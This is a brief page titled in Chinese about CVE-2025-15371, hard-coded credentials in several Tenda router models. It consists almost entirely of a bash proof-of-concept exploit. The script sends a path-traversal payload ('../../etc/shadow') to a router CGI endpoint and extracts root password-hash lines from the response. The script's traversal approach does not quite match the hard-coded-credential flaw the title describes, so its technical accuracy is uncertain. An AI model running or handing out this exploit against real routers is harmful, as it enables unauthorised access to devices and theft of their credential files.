CVE-2025-15371 | Tenda多款路由器存在硬编码凭证漏洞

#!/bin/bash # CVE-2025-15371 PoC - Tenda Router Hard-coded Credentials # Target: Tenda i24, 4G03 Pro, 4G05, 4G08, G0-8G-PoE, Nova MW5G, TEG5328F TARGET_IP="192.168.0.1" TARGET_PORT=80 # Check if target is alive echo "[*] Checking target availability..." ping -c 1 -W 2 $TARGET_IP > /dev/null 2>&1 if [ $? -ne 0 ]; then echo "[-] Target is not reachable" exit 1 fi # Attempt to access Shadow File via Fireitup echo "[*] Attempting to exploit CVE-2025-15371..." echo "[*] Sending crafted request to retrieve hard-coded credentials..." # Crafted payload for Fireitup input PAYLOAD='{"Fireitup":"../../etc/shadow"}' RESPONSE=$(curl -s -X POST "http://$TARGET_IP:$TARGET_PORT/cgi-bin/luci/api/fireitup" \ -H "Content-Type: application/json" \ -d "$PAYLOAD" 2>/dev/null) if echo "$RESPONSE" | grep -q "root:"; then echo "[+] SUCCESS: Hard-coded credentials found!" echo "$RESPONSE" | grep "root:" else echo "[-] Exploitation failed or target not vulnerable" echo "[*] Response: $RESPONSE" fi echo "[*] PoC execution completed."